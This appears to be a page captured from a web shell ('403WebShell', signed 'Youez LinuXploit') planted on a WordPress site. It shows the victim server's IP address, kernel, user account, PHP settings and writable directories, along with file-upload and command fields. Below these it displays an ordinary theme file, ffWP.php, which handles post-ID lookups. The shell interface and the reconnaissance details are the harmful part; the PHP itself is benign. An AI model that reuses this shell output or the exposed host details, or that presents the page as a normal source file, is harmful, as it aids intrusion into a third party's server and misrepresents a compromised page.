Uname:Linux duemilacom6.interac.it 5.10.0-28-amd64 #1 SMP Debian 5.10.209-2 (2024-01-31) x86_64

403WebShell
403Webshell
Server IP : 212.183.175.188  /  Your IP : 216.73.216.82
Web Server : nginx/1.30.4
System : Linux duemilacom6.interac.it 5.10.0-28-amd64 #1 SMP Debian 5.10.209-2 (2024-01-31) x86_64
User : cvevolpi ( 10022)
PHP Version : 7.4.33
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/cvevolpi.it/httpdocs/wp-content/themes/sentinel/ffOptions/writepanels/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/cvevolpi.it/httpdocs/wp-content/themes/sentinel/ffOptions/writepanels/ffWP.php
<?php
  
class ffWP{

	static $instances = array();
	static $inst_data = array();

	static function find_post_ID( $post_ID = 0 ){
		$post_ID = ceil( 1* $post_ID);
		if( !empty( $post_ID ) ){ return $post_ID; }
		
		if( in_the_loop() ){
			// Must be called in the loop
			$post_ID = get_the_ID();
			if( ! empty( $post_ID ) ){
				return $post_ID;
			}
		}

		if( is_home() or is_front_page() ){
			if ( ffSP::get('show-page') ){
				return ffSP::get('page id');
			}
		}

		if( is_user_logged_in() ){
			global $_GET;
			global $_POST;
			$try = empty($_POST['post']) ? 0 : ceil( 1 * $_POST['post'] );
			if( !empty($try) ) return $try;
			$try = empty($_POST['post_ID']) ? 0 : ceil( 1 * $_POST['post_ID'] );
			if( !empty($try) ) return $try;
			$try = empty($_GET['post']) ? 0 : ceil( 1 * $_GET['post'] );
			if( !empty($try) ) return $try;
		}
		
		return 0;
	}

	function __construct( $post_ID = 0 ){
		$post_ID = empty($post_ID) ? ffWP::find_post_ID( $post_ID ) : $post_ID;
		ffWP::$instances[ $post_ID ] = $this;
		$sal = new ffSalWritepanels( $post_ID );
		ffWP::$inst_data[ $post_ID ] = $sal->getData();
	}
	
	static function initInstance( $post_ID = 0 ){
		$post_ID = empty($post_ID) ? ffWP::find_post_ID( $post_ID ) : $post_ID;
		if( empty( ffWP::$instances[ $post_ID ] ) ){
			new ffWP($post_ID);
		}
		return ffWP::$instances[ $post_ID ];
	}

	static function get($name, $post_ID = 0){
		$name = strtolower($name);
		$post_ID = empty($post_ID) ? ffWP::find_post_ID( $post_ID ) : $post_ID;
		ffWP::initInstance( $post_ID );
		if( empty( ffWP::$inst_data[$post_ID] ) ){
			return null;
		}
		return ffWP::$inst_data[$post_ID]->get($name);
	}

	static function getWp($name, $post_ID = 0){
		return ffWP::get("wp".$name, $post_ID);
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit